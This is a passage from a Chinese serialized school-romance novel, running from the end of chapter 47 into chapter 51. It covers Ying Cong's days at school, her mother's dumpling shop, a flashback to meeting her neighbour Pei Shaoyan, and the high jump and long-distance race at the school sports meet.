“我姐她是特意过来,向我们强调蝴蝶兰的日常养护注意事项的。”
一眨眼的功夫,杨乐已经整理好了仪容仪表,云淡风轻地替她开口解围,仿佛刚刚被打得嗷嗷叫的人不是自己。
“原来你们是姐弟啊,”许文言的视线从两个人的脸上来回划过,而后冲杨欢点点头,“谢谢你的蝴蝶兰,为我们班增了不少光彩。”
“哪有那么夸张,”杨欢连忙摆手,“就是一盆普通的花罢了,能帮到老师您就再好不过了。”
“老师你们之前认识啊?”
盛逸忍不住好奇道。
许文言点点头,“我刚来一中实习的时候,带过杨欢他们班一学期。”
“我都不知道,原来您现在是杨乐的班主任。”
杨欢接过话头,顺便瞪了自己弟弟一眼。
因为高三课业繁重,她现在是住宿生,半个月才能回家一次。
当然,就算是在家,他们姐弟俩也不怎么沟通,各玩各的罢了。
平时她在学校也是两耳不闻窗外事,之前只知道许老师带的是高一(20)班,再分班后的新闻就没听说了。
“所以说很巧啊。”
许文言莞尔一笑,抬头看到表上显示的时间,便委婉提醒道:“快上课了,当心迟到。”
杨欢乖顺地点点头,往外走了几步后,又迅速折返回来。
“记得给我带一周的早餐,”背对着许文言,她扯着杨乐的衣领,小声警告道,“花就暂时放在你们班了。”
“哦。”
杨乐小幅度地点点头。
“那学姐你们班……?”
还没来得及离开的柳飞阳,同样听到了这句话,欲言又止。
毕竟这盆花寓意颇深。
“没关系,”面对外人,杨欢表现得很豪爽,“我们班门口还有高升竹和发财树可以保佑。”
“原来如此。”
柳飞阳若有所思地点点头。
过阵子,他们也应该买些有吉祥意味的东西放在班里。
远的高考先不说,他们班可是有俩要参加竞赛的种子选手呢。
“快走吧你!”
见自己的姐姐还和副班长聊上了,杨乐生怕她再说些其他的,赶紧催促。
杨欢扭脸甩过去一个眼刀,这才伴随着课前预备铃快步离开教室。
见她的身影消失在门口,杨乐如释重负地松了一口气,整个人都憔悴不少。
“杨乐姐姐看着挺温柔亲切,没想到脾气也这么火爆。”
盛逸抚了抚自己下巴上并不存在的胡子,锐评道。
应琮瞥他一眼,没有说话,更没有追问微妙的“也”字从何说起。
*
因为竞赛报名的事宜,应琮不得不在放学时间去办公室报道。
好不容易听完吴老师的长篇大论,走出校门时,街上已经没
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有什么人的影子,四周静悄悄的。
现在已经错过了下班和放学的高峰期,应琮慢慢走在路上,往饺子店走去。
“妈咪~”
一进门,她语气轻快。
“怎么放学这么晚?”
店里几乎没客人了,应雨柔正坐在大厅处,听见她进门的声音便立刻抬头看去。
“学校里有些事情,所以才耽误了。”
放下略沉的书包,应琮蹲下身子伸手一捞,就把路过的咪咪精准无误地搂在怀里。
光滑顺溜的皮毛,手感很好,能够治愈自己上一整天学的身心疲惫。
“今晚给我做什么吃?”
她低着头,边揉着猫咪头,边好奇道。
“今天会给我开小灶吗?”
“不,”应雨柔摇摇头,“不过你可以试试今晚新研发的菜品,酸汤饺子。”
“……酸汤?能好吃吗?”
应琮表情纠结。
从小到大,她都不喜欢吃一切有酸味的东西,就连平时吃饺子都不怎么沾醋。
但她一向谨遵正宗吃法指导,只不过醋和酱油的比例达到了惊人的0.5:9.5。
“你不要小瞧我了。”
应雨柔哼了一声,起身往厨房走。
“不信你问问别人,就知道好吃不好吃。”
“别人……?”
顺着妈妈的视线,应琮这才发现店里唯一的客人,此时正坐在角落里吃饭的男生。
本还觉得对方听到了她们母女之间的对话,有点不好意思,待看清对方的脸时,应琮惊讶出声。
“怎么是你?!”
深棕色的小卷毛,外加精致的五官。
令人过目不忘。
这不是和她偶遇过两次的李姓同学吗?!
“好巧。”
男生放下筷子,抬起头见到是她,露出一个礼貌又浅淡的微笑。
“原来这是你家的店。”
应琮点点头,一时不知道该接些什么。
看来他是真的很喜欢来一中附近吃东西啊。
和她打过招呼后,男生便继续安静地进食。
趁着他在吃饭,应琮悄悄打量起对方。
男生穿的依然是那家贵族高中的校服,脚上穿着的鞋子也是知名的奢侈品牌……她觉得自己还真是想不明白对方的脑回路。
为什么要跑到这么远的地方吃东西呢?
“你家住在附近吗?”应琮试探性地开口,“我们都偶遇了三次了。”已经大大超出巧合的概率。
“我平时在这附近补习,”男生吃饭时似乎很讲究餐桌礼仪,咽下嘴里的食物后才开口,“所以上完课之后会在这边吃饭。”
“原来如此,”应琮点点头,“我还以为你是专门来这边。”
“也对,怎么可能会这么闲。”
话音刚落,她又轻声道,像是在自言自语。
也许是一中的老师课余时间想赚外快,所以对方才过来补课也不一定。
毕竟之前读贵族初中的时候,她也听同学说过,公立学校的老师和学生都蛮穷的。
虽然她现在在学校和同学们相处一年下来,已经发现了这大概率是蜜罐子里少爷公主的肤浅偏见,但总不好全盘否定。
男生笑笑,应琮低头之后,他反而认真盯着她看。
灯光把他漆黑的眼眸照得很亮,看着应琮精致的脸,他也有些出神。
“是啊,没有人会这么闲吧。”
48. 第 48 章
运动会前夕,一种欢乐氛围渲染了整个校园,令人不自觉地犹如沉浸在和煦的春光中,飘忽忽,醺醺然。
应女士这阵子经营稳定,销售额还有蹭蹭上涨的趋势,更是满面春风。
而应琮天天为同学们代餐,甚至因为前阵子杨乐姐姐杨欢的缘故,她们家的早餐也是顺利将名声打入高三部了。
好在学姐学长们没有找她订餐,据说他们有自己的轮值外卖员,甚至是有班费补贴的。
这个消息还是盛逸告诉自己的,甚至当着她的面试探丁一锐,理由是运动会将至,应琮家的早餐让班里同学吃得健健康康白白胖胖,完全可以出栏为班级争光。
话没说完就得到了应琮的肘击,好在丁一锐以人数不多为由否决了。
不过话说回来,运动会的事情的确是班长的燃眉之急与心头大患。
“为什么大家都不爱看班群的信息?!”
趁着做眼操的空闲时间,丁一锐来到盛逸旁边,小声道。
明明老早就在群里发布了大大小小各式投票,美其名曰要适应民主化的趋势,然而一连催促了好几天,参与投票的人数还不到四分之一。
“有没有一种可能,”盛逸理性分析,“住宿生他们没有办法参与投票。”
“……”
丁一锐沉默了。
马上就是运动会的开幕式,现在他们班还没有开始定衣服,多么极限啊。
这也要归功于他们班的甩手许掌柜。
“不是这个原因好不好,”思考几秒后,他极力否认哥们的说法,“早在上周五,我就已经发布了投票!”
“应琮!”
二人还在说话中,丁一锐忽然转头看向并没有打算参与对话其中的应琮。
“你投票了没有?”
他双眼微眯,将自己的脑袋凑过去。
“……”
应琮没搭理她,低头继续整理自己的语文笔记。
“你是不是没有投票?”
就算她不开口,丁一锐依然从她神情上的细微变化中察觉到不对,眼神立刻变得犀利。
“……我下午回家一定投。”
被他这样盯着,应琮连一个字也写不下去,只好投降。
“为什么不投?!”
丁一锐急了:“明明是我呕心沥血才设置好的问卷。”
“并非有意忤逆,”应琮伸手托了托腮,疲惫地叹了口气,“实在是选不过来了。”
她那天点开一看,发现问卷里面不光包含了班服的款式、颜色、图案……甚至是入场式的选曲、队形,都被丁一锐一股脑地列了出来;五花八门的选项看得人头疼。
简单滑了一下发现此问卷看不到底,应琮立马就反手退出了。
“其实我也没选。”
盛逸在旁边满脸笑意。
“什么?!”
意想不到的名额出现了,丁一锐更是受伤,瞬间扑了过去。
“大胆逆臣,连你也阳奉阴违!”
“反正没投票的人那么多,也不差我一个了。”
盛逸眉尾上扬,笑得放肆。
“……我会想出来方法的!”
带着一颗破碎的小心脏,丁一锐回到位置上,伸手把自己的头发抓得乱糟糟。
“会不会对他太坏了?”
见他那副状态,应琮忍不住低声道。
“不会的,你这么关心他干啥?”
应琮撇嘴:“同学之间友爱相处怎么了?”
盛逸提醒她:“别忘了他找你带早餐,连劳务补贴都不给你。”
应琮看也不看他就是一拳头过去:“少提这事!”
盛逸熟练侧身躲过,靠在椅背上微微阖眼,唇间犹有一抹笑意。
*
丁一锐最终赶在放学前,和大家敲定了运动会开幕式的所有——前提是牺牲了自己一整天的课间。
他将事先准备好的选项通通打印了出来,带着简易版的纸质问卷问遍了班里的每个人。
不得不承认,虽然丁一锐平时爱说笑,但交代给他的正事没有一件不办得妥妥帖帖。
依照少数服从多数的道理,他们的班服就这么定了下来。
等等,班服是什么图案来着?!
随着放学的人流,应琮一边低头查找群记录里的图片,一边慢慢走着。
“走路的时候不要看手机。”
一道疏淡的声音在耳边响起,与此同时,她感觉自己的书包一紧。
应琮愣愣地抬头,裴少言那张清俊的脸恰好出现在旁边,手上还拽着自己的一条书包带。
“谢了。”
她往后退了一小步,试图掩盖自己因突然的对视而流露出的不自然。
“一起过去吧。”
裴少言已经转头看着自己的前方,红灯的倒计时已所剩无几。
“你今天要来店里吃饭?”应琮问。
如果直接回家的话,可以不用过这个路口。
“可以去。”
裴少言安静了几秒后,这般说道。
“本来是不打算去的吗?”
应琮笑了笑,眼眸里飞快闪过几分难以言喻的复杂情绪。
似乎她又自作多情了。
“不是。”似乎是听出来她语气里的失落,裴少言回答得很快,“我本来打算先去买鞋子,然后再去饺子店。”
“买鞋子?”听起来多少有点像临时找出来的借口。
裴少言点点头,认真向她说明:“我们班开幕式要求大家穿西装礼服,所以我要去买一双皮鞋。”
西装搭配皮鞋啊,应琮眨了眨眼睛,不动声色地开始打量起身旁的男生,在脑中勾勒出对方精心打扮后的模样。
想着想着,她忽然轻笑出声。
注意到裴少言投来的目光,应琮抬手捂住自己的上翘的唇角。
“想到你打扮成大人模样,就感觉很奇妙。”
尤其是他现在还穿着整整齐齐的校服,百分百的学生模样。
应琮说罢,依然笑得眉眼弯弯。
有种不小心按到时光按钮,提前看到对方未来的感觉。
“大人吗……”
裴少言的语气也变得轻忽,垂眸看向地面上两个人逐渐拉长的身影。
“不过,就算是大人,你以后肯定也是和现在一样,”应琮颇为哥们儿地拍拍他肩膀,“是个看上去不苟言笑、严肃正经,实际上善良正义的人。”
其实裴少言现在就已经很有大人的样子了。
“原来……我在你心中的形象这么好吗?”
裴少言难得和她开玩笑,尾音隐隐上扬。
“当然。”
应琮点点头,尾音轻快。
“你忘记我们两个第一次见面的时候了?”
*
李正心被一人一狗吓跑后,应琮母女俩得以顺利完成搬家。
拒绝了裴少言想要搭把手的建议,二人在楼梯间接连跑了几趟,将大箱小箱的物品简单归置在一处后,应雨柔立即钻进厨房忙活起来。
正准备去浴室好好洗去浑身的疲劳,耳边忽然传来厨房的切菜声,应琮忍不
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住放下自己手上收拾到一半的衣服。
“妈,”她站在厨房门口,奇怪道,“这么早就开始准备晚饭?”
虽说夏天,太阳没有那么早下山,但看时间,现在做饭也为时尚早。
“嗯。”
围着HelloKitty印花围裙的应雨柔将整盒排骨一股脑倒进水池中,洗去上面的血水。
她的动作看起来行云流水,犹如美食栏目里经常会出现的辣妈名厨——只要忽略桌台上,正扬声播放做菜教程的手机的话。
“晚上随便做一点就好了,”应琮低头闻闻自己身上的汗味,兴致缺缺,“我没什么食欲。”
而应雨柔已然全身心地投入到烹饪美食的浩瀚宇宙中,连半句回应都没有。
……
“你是说,让我把它送过去做谢礼?”
低头再看一眼碟子里的东西,应琮快速地移开视线。
碟子是好碟子,温润如玉的骨瓷外加内壁一圈浅金色的描边,看起来仿佛能发光。
就是碟子里盛着的东西嘛……实在令人难以恭维。
碳烤排骨,碳倒是一块好碳,只是排骨在哪?
她心中莫名想起古早台词。
焦黑的排骨,本该裹着一层油亮的糖色,现在却模样难辨,看上去完全就是黑暗料理。
“你不要看它卖相不好,”应雨柔振振有词,“我已经尝过味道了,完全不输给米其林餐厅。”
“……真的吗?”应琮无比怀疑,“那我也尝尝?”
“打住,”应雨柔伸手阻拦,“不允许你破坏我的摆盘。”
“妈妈你自己去送吧,我还想再吹一会儿头发。”
应琮退下了,顺手摸了摸自己的发尾,感觉还湿湿的。
“你去。”应雨柔笑眯眯地看着她,语气温柔中带着不容拒绝。
“刚好对门的小裴和你一样,开学都去一中读高一,你们可以聊聊啊。”
应琮没想到就在楼下短短的那么十几分钟,妈妈都能了解到对方如此详细的信息。
再三抗议无果后,她只好端着这碟卖相一般的糖醋排骨,小心翼翼地敲了敲对门。
开门的自然是裴少言,还有他热情的狗狗。
似乎是没想到她们还有谢礼,听应琮说明来意后,裴少言接过了那盘菜,一时却没有说什么,两个人站在门口相对无言,气氛安静得有些诡异。
“我听我妈说,你也是一中的,”应琮耐不住寂静,没话找话道,“以后说不定还能被分到一个班呢。”
裴少言微微颔首,面上若有所思。
应琮没想到对方虽然和自己年龄相仿,却如此沉默寡言,她开始在心里组织告辞离开的话语。
还在搜肠刮肚各种礼貌用语时,她忽然感觉自己小腿肚有什么异样,一个硬硬的东西碰到了自己。
“咦?!”
低头看去,名为小婷的狗狗嘴里,正叼着一本高中数学书。
“小婷,这可不是玩具。”
裴少言显然也看到了,眼疾手快地从它嘴里抢救出课本。
“你都已经开始预习了啊……”
应琮愣愣地眨了眨眼。
暑假不是还有一个月才结束,怎么有人还没开学就提前学啊!
“嗯,”裴少言点头承认,“闲着也是闲着……这个学起来不会无聊。”
应琮的数学成绩不差,她也能够在数学题中找到成就和满足感,但仅限于在学校没什么娱乐的时候。
但面对裴少言,她第一次感受到了,人与人之间的差距。
49. 第 49 章
不得不说运动会选择的时间实在绝妙。
如今已经来到十一月的尾声,或许是为了顺利地进入冬季,江城接连下了好几天的绵绵细雨,寒气像是能钻进骨头缝隙里一般扰人心烦。
然而,在开幕式的前一天,阴湿的寒气突然被暖融融的阳光取代,气温也有了明显回升,正是适合举行校园活动的好日子。
绚烂的开幕式后,大家都搬着自己的椅子来到操场指定的位置,开始布置各自班级的大本营。
礼炮淡淡的火药味依然弥散在空气中,塑胶跑道和看台上洒满了亮闪闪的碎片,红底白字的横幅随风猎猎。
应琮不是运动员,所以没准备什么东西,只拿了一个小帆布袋就下来了。
“CC~”
听到好友的声音,她转头看去。
作为开幕式主持人之一,程依依脸上华丽的妆容还没来得及卸下,只是匆匆在裙子外面披了件外套就过来了。
“你怎么这么早就过来?”
应琮快步上前拉住好友的手,感觉她的手有点凉。
“不早了,”程依依低头看了看手机上的时间,挽住她的胳膊,“我们快去看跳高吧!”
“跳高?”应琮只一瞬疑惑,很快反应过来,有些无奈地瞥她一眼,“恐怕是醉翁之意不在酒吧。”
这段时间,程依依似乎对隔壁班的一个体育特长生甚是关注。
而这位“一米八五”男的特长,恰恰是跳高和田径。
“哎哟,不要拆穿我啦。”程依依嘿嘿一笑,带着她往跳高的场地走去。
因为她主持人的妆造太过醒目,加上旁边一身运动服的应琮长得也不赖,两人一道倒是吸引了不少路边班级的眼光。
只不过两人似乎对他人有意无意停驻的目光已经习惯,还能自顾自地照常聊天。
“反正运动会,我们这些观众就是要四处游走,多多捧场的嘛。”
“那你明天下午也记得来给我捧场。”应琮边走边认真道。
“你报名了项目?!”
听到她的话,程依依的脚步顿了顿,转头看过去,阳光下的眸子闪闪发光。
“是什么项目?”
“……男女混合接力。”应琮抿了抿唇,小声道。
要不是那天和丁一锐他们聊天,两个人极力怂恿,将自己架得下不来台,她也不会报名。
“集体项目啊……”
程依依点点头,语气意味深长。
“不错!我们CC要为班争光了,我甚是欣慰啊。”
知道她在打趣自己,应琮抬手轻轻推了她一下,二人对视的瞬间,又忍不住笑。
*
操场上,专门划分出了一块跳高比赛区,线外已经有许多学生围着,人头攒动。
“怎么这么多人?”应琮小声道。
去年运动会,她实实在在全程没下来运动场上过,不知道会有这么多人。
“感觉我们来晚了,好像找不到什么好位置了。”
程依依在人群外左右看看,还踮脚往里面张望了一番。
她特意带着好朋友穿越大半操场来见crush,如今人多得不透风,不免有些泄气。
“远一点也能看到吧。”
应琮抬头看看不远处横杆的高度,倒是也能看清楚,反正跳高看的不就是他们一跃而过的瞬间,不错过这个关键就好了。
“行,那我们就站在这边吧。”
程依依也没想到会有那么多人来看跳高,顺便低头整了整自己的裙摆。
“而且里面人挤人的,你也不喜欢。”
她拍拍好友的手,像是自我宽慰。
应琮“嗯”了一声,两个人站在跳高区的另一边,身后不远处就是操场跑道。
跑道外也拉着红色的隔离线,终点处站着不少人。
“对了,”程依依从外套中拿出手机,快速操作几下,“不知道你们班有没有发比赛时间表,我发你一份。”
其实她心里清楚,即使是发了,应琮也不一定留意。
应琮点开图片,发现相较于自己初中时,一中运动会有许多比赛项目差不多都是同时开始的,时间安排得非常紧凑。
这样安排……
她的眉毛微微上扬,有点诧异。
“不用那么惊讶~”
看到她的表情,程依依就猜到对方此时正在想什么,开口说明道。
“因为我们运动会只开两天,所以学校尽可能地利用好时间。每个人最多报名参加两个项目,大家应该也不会报名时间冲突的项目。”
“原来如此。”
听罢好友清晰明了的解释,应琮只觉自己一定是平时学习太久,这么简单的问题,脑袋竟然转不过弯来。
两个人还在闲聊,前面围观的人群中忽然传出一阵热烈的叫好声。
抬头去看,刚刚跃过杆的女生灵巧地从垫子上翻身下来,面对众人的目光,抿着唇含蓄地笑着。
她们这才意识到,原来跳高比赛已经开始了。
赛程是按班级一个一个轮,从高一到高三,先女生后男生。
为了看到比赛选手起跳时的蓄力,程依依努力踮起脚,想要看得更多些。应琮比她高些,于是侧着身子站在程依依的身后,伸出手臂默默撑着她的后背,防止对方不小心被人撞倒。
如此艰难地看了会儿后,先前比完赛的高一选手和周围陪同打气的“亲友团”得到结果后相继离开。原本紧密围观的人群出现了一个缺口,她们便往里面凑了凑,终于能够清楚看到比赛现场的全貌。
“欸?”
注意到什么,两个人异口同声。
“你看到了谁?”
注意到她脸上的惊讶,程依依率先发问,面上似笑非笑。
“你认识她吗?”
出乎意料,应琮指了指在左侧排队等待比赛的短发女生,不明所以。
“这是我们班的邹枫。”
“……”
程依依沉默了,她也伸手指了指,不过是右侧的队伍。
“你没看到盛逸也在吗?”
她的语气听在应琮耳朵里,竟像是莫名的失落。
程依依的想法倒很简单:邹枫咋啦?有啥好惊讶的?
应琮却忘了追问失落的缘由,顺着她的手看去,果然看到了一身红色运动服的盛逸。
参加个运动会而已,还打扮得这么晃眼。
只不过人潮拥挤,同样穿红色的人不在少数,依依能一眼注意到他,恐怕也不只是靠打扮。
为什么依依会从人群中一眼看到他?!
难道她还在对这个人恋恋不忘?
应琮惊悚地扭头看向好友,试图从她的眼睛里看出对盛逸的痴情。
本来她还松了口气,以为依依的注意力已经转向了那个一米八五体育生,没想到……
“你一直看着我干什么
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?”
程依依眼睛一眯,语气怪里怪气,唇角勾起的弧度有些危险。
“你们班都要比赛了,不应该看着那边吗?”
不想被她看穿自己心里的揣度,应琮连忙看向另一边,也没发现好友似乎在反过来试探她。
伴随着响亮的哨音,顺序第一的女生迈动着自己的双腿,向着目标进发。
*
一直等到盛逸最后一次挑战跃过1.85m横杆时,才注意到应琮和旁边的程依依。
“欸,你……你们怎么来了?”
翻身过杆后,他从垫子上骨碌爬起,利落地跳了下来。
他被丁一锐威逼利诱,这次运动会报了不止一个项目,此时已经有些薄汗,不过他笑容灿烂,倒是不显得狼狈。
笑得这么开朗,像狗一样。
应琮暗自撇嘴。
本来盛逸结束跳高的动作称得上行云流水,结果走过来时,注意到应琮表情又阴云密布,不知为何背后一凉,反而被地上放着的计分板绊得踉跄几步。
“我陪她来的。”
看他急急忙忙的狼狈样子,程依依露出笑脸,抢先道。
好友抢了自己原本的台词,一旁的应琮刚想反驳,转念想到一米八五体育生之事不能在盛逸面前提起。
程依依曾经教导过她助攻之术,第一要义就是不可以在目标面前提到另一个男生,便扯了扯嘴角,索性默认对方说的话。
“啊……”
盛逸倒是没料到,垂眸看看应琮,她脸上的神情有几分不自然,像是被人直接戳中心事一般。
难道刚刚的撇嘴,是他看错了?
“说起来,”程依依将攥成空心拳的手递过去,“盛逸同学,你对于自己刚刚差一点就能打破校纪录的表现,有什么感受?”
如果不是因为在最后越杆的时候,盛逸一时分神,一只脚碰落了杆子导致犯规,他就能以自己的名字刷新学校背越式跳高的纪录了。
“我并不认为自己就失败了,相反,这一点点不足,能够更好地提醒我,在今后要戒骄戒躁,不断奋进。”
盛逸清清嗓子,配合着她,用标准的采访语气回答道。
“那我再问一个问题,请问你是因为跳高时,忽然看到了我俩才失败的吗?”
程依依语气狡黠,八卦之心溢于言表。
听清楚问题的瞬间,应琮首先作出反应。
“依依……”
她扯扯好友的衣服,眉心微皱。
调侃欺负盛逸事小,带上她再被旁人听见事大。
她可没忘记,赛场上刚刚还看到了邹枫的身影。
程依依不为所动,笑眯眯地盯着对方的脸,不愿放过任何一个表情。
据她的暗中观察,她家cc和这个盛逸最近似乎关系挺好的。
“哈哈哈,其实还是因为我的技术不够精湛。”
盛逸对这番调侃倒是没有什么不适,只摆摆手,谦虚地笑笑,没有正面回答她的问题。
“即使如此,你应该也能拿男子组里的二等奖吧。”
应琮看向他,语气淡然,目光先是飘到不知哪个远方,又像漫不经心般,在他脸上匆匆掠过。
盛逸先是一愣,不知怎得,他竟然诡异地从这句话里听出来几分安慰和夸奖的意味,于是面上的笑容变得更大。
“是啊,能拿二等奖。”
他笑,眼眸里倒映着少女的身影。
50. 第 50 章
见他俩在说话,程依依的眼眸弯了弯,故作不经意转身,实则也是继续去看后面几个班剩下的跳高选手。
“哎哟你怎么躲到这里来了!”
伴随着急急的声音,丁一锐猛然出现在面前,手上还拿着满满当当的东西。
“咱们不是约好了,你比完马上就来操场边找我的吗?”
要不是盛逸今天穿得足够鲜艳,自己还找不到他。
“赶紧穿上衣服吧,别着凉了。”
丁一锐哼哼了几声,还是决定大人不记小人过地将手臂上的外套丢给盛逸。
不偏不倚,正好罩住了他的脑袋。
“不是故意的。”
盛逸有些无语地拉下衣服,三两下穿好,眼神示意他注意自己身边站着什么人,别不小心嘴里吐噜出来什么惊世骇俗的东西。
丁一锐这才注意到一旁的应琮和程依依,他抬手打了个招呼,冲盛逸小声抱怨道:“我说怎么不见人,原来又是见到你同桌了。”
程依依耳朵灵,一下子就听出了他的言外之意,好像盛逸为了同桌重色轻友不是头一回似的,于是迅速转头看应琮的脸色。
其实这两个人说话素来不讲究措辞严谨,应琮早就习惯了。
如果不是每次有成绩单为证,她丝毫不怀疑他们的语文素养比自己还差,所以倒也没什么特别的表情。
只不过,丁一锐给同桌带的刚好是班服……
看到同桌和自己身上穿着同款不同色的外套,应琮莫名有点别扭,插在口袋里的手紧了又紧。
“挤眉弄眼的做什么?”
丁一锐注意到好兄弟不自然的神情,没好气地瞪回去,接着就发现应琮神情冷淡,立马收敛脸上的表情。
他挠了挠头,“话说,应琮你也来看盛逸跳高啊。”
应琮缓了缓神情,点了点头,算是再次默认了这份巧合。
“他表现得怎么样?”丁一锐问道,“我刚刚光顾着去拍短跑了,错过了这边的比赛。”
“挺好的。”
应琮惜字如金,“应该很快就会公布最终结果了。”
“既然你都说好了,那应该表现是不差。”
丁一锐用力拍了拍盛逸,开朗道,“不错啊,第一场比赛就开门红,真给咱们高二6班争气!”
盛逸故作姿态捂胸口,“我看你是眼红我吧,小心把功臣一巴掌拍死了。”
“别演了,你同桌天天揍你都没见你叫唤过……”
“……”
“……”
应琮不自然地咳嗽一声,“哪有那么夸张。”
盛逸偷瞄她脸色,发现没生气才放下心来,他立马反击,以迅雷不及掩耳之势给丁一锐一个锁喉。
“你身为班干,不仅刺杀功臣,还造谣生事,我今天就来清君侧!”
“哎呀!”
三人一静两闹之时,忽略了身边的赛场,只听得程依依充满失落和遗憾的惊声。
扭头去看,原来是19班的运动员,越杆时左脚收得太晚,不小心把杆碰落了。
“还有一次机会。”
充当裁判的体育老师重新将杆子卡好,鼓励道。
男生重新回到助跑线后,单手抚在胸前,深呼吸后点点头。
“一定要跳过呀。”
应琮听见好友在旁边轻轻道,忍不住侧目而视,依依的脸上满是紧张,甚至连眼睛都没有眨。
回想刚刚她看盛逸跳高时的神情,远没有现在认真。
应琮又将视线转向旁边同样关注赛场的盛逸,他已经停下来闹腾的动势,双手插兜,看不出内心在想什么。
安静下来没那么狗了。
她不动声色地移开自己的目光,又想到两个人之间的“孽缘”,几不可察地叹了口气。
重新调整状态后,男生很快就以十分标准的姿势跳过了1.7m的杆。
两边的工作人员将杆往上调了调。
“他直接挑战1.85的啊?”
看到刻度上的数字,丁一锐小小惊讶了下。
“当然了,”自己感兴趣的男生在场上,程依依的眼神都吝于分给其他人,“人家可是专业的。”
“体育生啊。”
见丁一锐张嘴还想说什么,应琮赶紧伸手拽了他一下,略有些生硬地转移话题。
“说起来,邹枫好像跳高的成绩也挺好的。”
“邹枫?”
丁一锐果然顺着她的话题继续往下。
“那怎么没看到武小圆和熊颜颜她俩,她们几个不是每天绑定在一起吗?”
“可能在大本营休息吧。”应琮随口道。
“不可能呀,”丁一锐摇头否认,“刚刚我才从大本营过来。”
“你很关心她们?”
盛逸的声音凉凉地插了进来,不知道他所指的是谁。
“身为班长,我关心每一个同学。”
丁一锐忽略他语气里的怪异,“哪怕不是一个班的。”
熊颜颜虽然不是6班的,但她天天出现在班级方圆五米的范围内,跟定时定点刷新的NPC一样,就算不熟悉也早就认识了。
“那你还真是胸怀宽广。”
盛逸调侃一声,目光却轻巧地越过他去看应琮。
对方的眼神,此时正粘在另一位女生身上。
看人or看比赛,两个人各有各的认真。
他早知道的,应琮根本不可能去留意班级通讯录上的比赛日程,也不会专门来看自己跳高。
但是无所谓,看到她出现在人群中,自己的心里就已经溢满了轻飘飘的泡泡,陶醉其中而不自知。
就这么没出息。
“哥们,”丁一锐碰碰他的胳膊,奇怪道,“你在笑什么呢?”
“没什么……”
盛逸轻咳一声,立即正色。
“你就不能认真看比赛吗?”
*
待最后一名运动员结束跳高,学生工作人员凑在一起开始比较他们的成绩。
“你不去看自己的成绩吗?”
周围的人都挤了过去,想要知道自己的排名,应琮瞥了一眼旁边丝毫没动作的盛逸。
“没必要,”盛逸耸耸肩膀,“等□□育老师会公布的。”
再说了,前后运动员的成绩他多少也看在眼里,估也能估计出来自己大概的成绩。
“那我们先走了啊。”
应琮拉过好友,两个人准备离开。
程依依还要继续干活呢。
“欸,等等我啊。”
盛逸赶紧跟过去,顺便带上明显在状况外的丁一锐。
“你们是回大本营吗??”
丁一锐没反应过来就被生拉硬拽,脚步踉踉跄跄。
“等等,”程依依不知想到什么,忽然停下自己的脚步,“你们回去吧。”
“你去哪?”
应琮看向她,充满疑惑。
“……”
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程依依低头看着自己的脚尖,含糊地说了什么。
应琮压根没听清楚,凑得近了一些。
“……我想去找他拍张合照,你们先回去吧。”程依依的脸逐渐变红。
不用说也知道,好友口中的“他”指的是谁。
应琮了然地点点头,三个人并排走着。
6班的大本营安排在篮球场上,直接从跑道上穿过的话,能够最大限度地节省时间和路程。
“不知道现在有没有跑步的比赛……”
丁一锐显然和她一个打算,已经拿出手机开始看比赛安排表。
“没有的话,我们就可以直接从操场上穿过去。”
“哦!等等!”
他忽然惊讶出声。
“有长跑比赛,我都忘记了。”
往跑道看去,果然对面有三五成群的运动员,三人便在隔离线外停下脚步。
“我们班是谁参加长跑来着?”丁一锐小声嘟哝着。
“杨乐和副班吧。”盛逸道。
应琮在旁边心不在焉地听着,低头去翻找日程表。
她刚刚只来得及看各类比赛安排的时间,没去看运动员名单。
操场上微微起风,虽然不冷,但吹在脸上凉凉的,空气十分干爽。
“青春的脚步、青春的速度、青春的活力、青春的激情,将会在你的身上尽情体现!迎接自我、挑战自我、战胜自我,我们相信你一定能行!加油吧,001!三千米的终点就在眼前!”
慷慨激昂的加油声,借由主席台上专门念稿件的工作人员传递到校园各处。
听出话里有不对之处,应琮几乎要怀疑自己的耳朵。
001?
不就是裴少言的学号?
她立即扭头看向跑道,像是上天听到了心底的疑问一般,红色跑道上,一个熟悉的身影就这样出现在自己面前。
他们站着的地方是一条直道,穿着运动服的裴少言恰好和她四目相对。
冷峻的少年即使在跑步也很引人注目,丝毫不显得狼狈,怪不得有人专门为他投稿加油。
只是他看向她的神情却令人捉摸不透。
“裴少言也参加了长跑?!”丁一锐同样看到了他,语气无比惊奇,“他还会参加运动会的吗?!”
他的惊讶被周围嘈杂的声音遮盖,没有人回应他。
音响里依然是激动人心的加油声,伴随着一下又一下的鼓点。
嗵嗵,嗵嗵。
心跳声被鼓点带动着,变得越来越快。
被他看着,应琮心里忽然有种莫名的情绪,她首先移开自己的视线,眼睫低垂。
裴少言原本的跑步速度不算飞快,但似乎是因为来到了直道。肉眼可见的,他开始加速,迈步飞跑出应琮的视野。
见他离得越来越远,应琮复又抬起头来,盯着对方跑过弯道,顺利冲过终点的高瘦背影。
她忽然反应过来,旋然一惊。
原来裴少言已经跑完了吗?
终点处,有几名面容熟悉的男生,上前扶住了长跑结束后的裴少言——几位曾经和现在都是1班的同学,应琮也认识他们。
一瞬间,应琮的心里涌起了许多过去的事情,纷杂而混乱,一点点蔓上她的心头。
“他们跑完了,还不走吗?”
盛逸的声音在她身侧轻轻响起,如清泉漱玉。
抬头看去,阳光投射的阴影落在他的眉宇间,晦暗不明。
51. 第 51 章
应琮重新看回跑道,这时各班的运动员都陆陆续续抵达了终点。
“我先去那边看看他们。”
说罢,丁一锐匆匆往终点跑去。
在人群中,他找到了杨乐和柳飞阳的身影,而其中一个人的面色,苍白得可怕。
“你要过去吗?”应琮问。
她其实有点想一个人呆一会儿。
盛逸斜斜地站在旁边,片刻后才开口。
“不了,我跟你一起回去。”
听到他的答复,应琮没说话,猫着腰准备从跑道外围拉起来的隔离带下钻过。
她刚一蹲低身子,发现盛逸早已将隔离带高高抬了起来,只是人依然半侧着身子,像是让她先过的意思。
鬼使神差般,应琮停下动作。
“你为什么心情不好?”
回想对方刚刚像是突然变冷淡的语气,她仰头去看盛逸的脸。
“……”
盛逸愣住,或许是觉得这个问题有些突兀,或许是因为应琮不像是在问他“是不是不高兴”,而且很笃定地认为他就是不高兴。
她什么时候开始关注自己的情绪了?
应琮没有得到回答,干脆停下了动作,就这么安静等着他思考。
风好像也静止了,周围吵闹嘈杂的欢呼声、加油呐喊声都飘远了。
盛逸看着近在咫尺的女孩的面庞,两个人少有这么面对面靠近的时候,他可以看见她脸上细小的绒毛,还有被风拂动的额角的发丝。
他紧了紧手指,回忆了一下自己刚刚的心绪:他有心情不好吗?兴许有吧。
